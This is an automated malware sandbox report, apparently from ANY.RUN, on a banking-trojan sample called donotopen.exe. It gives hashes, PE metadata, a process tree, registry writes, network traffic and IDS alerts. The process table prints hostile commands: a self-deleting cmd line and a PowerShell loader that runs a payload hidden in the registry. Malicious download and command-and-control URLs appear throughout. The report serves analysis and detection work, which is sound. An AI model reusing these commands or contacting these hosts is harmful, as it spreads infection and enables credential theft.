| File name: | donotopen.exe |
| Full analysis: | https://app.any.run/tasks/12d3125b-9d91-4589-bdd2-6c87c58306d0 |
| Verdict: | Malicious activity |
| Threats: | Dridex is a very evasive and technically complex banking trojan. Despite being based on a relatively old malware code, it was substantially updated over the years and became capable of using very effective infiltration techniques that make this malware especially dangerous. |
| Analysis date: | December 03, 2019, 01:07:44 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 221DD713A34797D90914068BEA754CFB |
| SHA1: | 58DAB3B9C3EC9F37199D2E94E36CDDB324BC42AF |
| SHA256: | 2C9DC99880B4C485D4D9F8FAD962C05940BDAEA158F66187DD02F44EA28C5C34 |
| SSDEEP: | 3072:78aZ1WL9+IhEzC+ll/KwV116aF/29vSk86kCYyKdKRTI+Tq+kaQ6gdr4icLEOfUN:Ql9+IuzC+lT6aF/298/YIWqFr3O7U |
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2014:12:02 10:29:53+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 12 |
| CodeSize: | 78336 |
| InitializedDataSize: | 158720 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x8e56 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 9.4.62.89 |
| ProductVersionNumber: | 9.4.62.89 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Numerix Felt Top Corporation |
| FileDescription: | Numerix Felt Top SinceShort |
| FileVersion: | 9.4.62.89 built by: 51899 |
| InternalName: | fascamp.exe |
| LegalCopyright: | © Numerix Felt Top Corporation. All rights reserved. |
| OriginalFileName: | fascamp.exe |
| ProductName: | Numerix Felt Top ®Numerix Felt Top ® 2015 |
| ProductVersion: | 9.4.62.89 |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 02-Dec-2014 09:29:53 |
| Detected languages: |
|
| Debug artifacts: |
|
| CompanyName: | Numerix Felt Top Corporation |
| FileDescription: | Numerix Felt Top SinceShort |
| FileVersion: | 9.4.62.89 built by: 51899 |
| InternalName: | fascamp.exe |
| LegalCopyright: | © Numerix Felt Top Corporation. All rights reserved. |
| OriginalFilename: | fascamp.exe |
| ProductName: | Numerix Felt Top ®Numerix Felt Top ® 2015 |
| ProductVersion: | 9.4.62.89 |
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F0 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 02-Dec-2014 09:29:53 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00013092 | 0x00013200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.71585 |
.rdata | 0x00015000 | 0x0001D328 | 0x0001D400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.06651 |
.data | 0x00033000 | 0x0001AD60 | 0x00007800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.76404 |
.rsrc | 0x0004E000 | 0x0000059C | 0x00000600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.32392 |
.reloc | 0x0004F000 | 0x0000182C | 0x00001A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.48476 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.79597 | 346 | Latin 1 / Western European | English - United States | RT_MANIFEST |
KERNEL32.dll |
TAPI32.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 352 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 884 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESB666.tmp" "c:\Users\admin\AppData\Local\Temp\CSCB665.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) Modules
| |||||||||||||||
| 1244 | "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\admin\AppData\Local\Temp\donotopen.exe" | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1524 | "C:\Users\admin\AppData\Local\Temp\3912046.exe" | C:\Users\admin\AppData\Local\Temp\3912046.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1788 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2708 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1800 | C:\Windows\system32\raserver.exe "C:\Users\admin\AppData\Local\Temp\3912046.exe" | C:\Windows\system32\raserver.exe | 3912046.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Remote Assistance COM Server Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2060 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2440 CREDAT:203009 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2068 | "C:\Users\admin\AppData\Local\Temp\donotopen.exe" | C:\Users\admin\AppData\Local\Temp\donotopen.exe | — | explorer.exe | |||||||||||
User: admin Company: Numerix Felt Top Corporation Integrity Level: MEDIUM Description: Numerix Felt Top SinceShort Exit code: 0 Version: 9.4.62.89 built by: 51899 Modules
| |||||||||||||||
| 2108 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\nrr_mwvt.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) Modules
| |||||||||||||||
| 2276 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-Expression ([System.Text.Encoding]::ASCII.GetString((Get-ItemProperty "HKCU:Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB").crypptsp)) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main |
| Operation: | write | Name: | CompatibilityFlags |
Value: 0 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones |
| Operation: | write | Name: | SecuritySafe |
Value: 1 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings |
| Operation: | write | Name: | ProxyEnable |
Value: 0 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections |
| Operation: | write | Name: | SavedLegacySettings |
Value: 4600000092000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\Active |
| Operation: | write | Name: | {71A037BD-1569-11EA-AB41-5254004A04AF} |
Value: 0 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore |
| Operation: | write | Name: | Type |
Value: 4 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore |
| Operation: | write | Name: | Count |
Value: 2 | |||
| (PID) Process: | (2708) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore |
| Operation: | write | Name: | Time |
Value: E3070C0002000300010008002A001701 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2708 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 2708 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 2708 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF2F80C30DC59BABA7.TMP | — | |
MD5:— | SHA256:— | |||
| 2708 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF2EE1B5401970322C.TMP | — | |
MD5:— | SHA256:— | |||
| 2708 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{71A037BD-1569-11EA-AB41-5254004A04AF}.dat | — | |
MD5:— | SHA256:— | |||
| 2440 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 1788 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat | dat | |
MD5:— | SHA256:— | |||
| 1788 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat | dat | |
MD5:— | SHA256:— | |||
| 1788 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\MSIMGSIZ.DAT | smt | |
MD5:— | SHA256:— | |||
| 2708 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{71A037BE-1569-11EA-AB41-5254004A04AF}.dat | binary | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1788 | iexplore.exe | GET | 404 | 40.74.35.71:80 | http://settings-win.data.microsoft.com/images/X9j1hKCw/A_2FbATFVd_2FulkPvvEGn5/B4o1FQAXZh/JZZ1uySZ8zwvrKVua/t5_2FTIa6JXK/s21KRrJoSUe/IGgvrqX4nhQX5R/HAhU1DBVipsllA_2FOu8v/SyGVKLRhDuoN425r/GD4pCY0QwouWHhA/5Mz_2Fx3Qxed8GvFTk/LFO_2F3iWDT/6xE9D2g.avi | NL | — | — | whitelisted |
2684 | iexplore.exe | GET | 200 | 109.196.164.8:80 | http://jyomacktom.top/images/cNMbZV6Xrj9iLTt0PSJjNY/ewqDCiZhqBrW5/NPkUWr_2/F_2BGdD5jXZo8jPZ1tZ9G4j/7fG4HRE0r7/9BTYUNy6YsHFDpgSv/8tP5iukQWTrA/bXjBSQ2OyxY/u6nilCqQhhNYge/yLzAgeMa3OwtQRzlC8pdR/HYd.avi | unknown | text | 216 Kb | malicious |
352 | explorer.exe | GET | 301 | 77.93.211.211:80 | http://zontcentrum.ru/wp-content/uploads/2019/11/unovarios.rar | CZ | html | 335 b | suspicious |
2060 | iexplore.exe | GET | 200 | 109.196.164.8:80 | http://jyomacktom.top/images/kn7fP3yz/8HwqT_2Bk1Kv7ykGCaalCj5/rR_2BSAxel/E852P8AmDPMJ0cGeW/m94cnLwJYbCB/ZO1TQPrZgOi/RXWB05BCcGgsdm/hbqmT9YHw7GT8_2FZDLTS/Vl_2F9IvKYrhw8RQ/tb8OcB4JVD0KjYS/ARsBn8IBjF79CnfIfX/Orhvf2bY_/2B0EK9I.avi | unknown | text | 2.31 Kb | malicious |
2440 | iexplore.exe | GET | 200 | 109.196.164.8:80 | http://jyomacktom.top/favicon.ico | unknown | image | 5.30 Kb | malicious |
352 | explorer.exe | GET | 200 | 205.185.216.10:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 57.4 Kb | whitelisted |
2708 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2708 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
1788 | iexplore.exe | 40.74.35.71:80 | settings-win.data.microsoft.com | Microsoft Corporation | NL | malicious |
2684 | iexplore.exe | 109.196.164.8:80 | jyomacktom.top | — | — | malicious |
2440 | iexplore.exe | 109.196.164.8:80 | jyomacktom.top | — | — | malicious |
352 | explorer.exe | 77.93.211.211:443 | zontcentrum.ru | Master Internet s.r.o. | CZ | suspicious |
1800 | raserver.exe | 5.134.119.57:443 | — | Ginernet S.l. | ES | unknown |
1800 | raserver.exe | 185.158.250.185:443 | — | M247 Ltd | NL | unknown |
352 | explorer.exe | 194.61.1.178:443 | m38kxy54t.com | — | — | malicious |
352 | explorer.exe | 205.185.216.10:80 | www.download.windowsupdate.com | Highwinds Network Group, Inc. | US | whitelisted |
352 | explorer.exe | 77.93.211.211:80 | zontcentrum.ru | Master Internet s.r.o. | CZ | suspicious |
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
jyomacktom.top |
| malicious |
resolver1.opendns.com |
| shared |
myip.opendns.com |
| shared |
m38kxy54t.com |
| malicious |
www.download.windowsupdate.com |
| whitelisted |
zontcentrum.ru |
| unknown |
PID | Process | Class | Message |
|---|---|---|---|
1788 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
1080 | svchost.exe | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
2684 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
2684 | iexplore.exe | Potentially Bad Traffic | ET INFO HTTP Request to a *.top domain |
2060 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
3780 | nslookup.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup) |
3780 | nslookup.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup) |
3780 | nslookup.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup) |
3780 | nslookup.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup) |
352 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:Win32/Ursnif malicious SSL Certificate Detected |
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|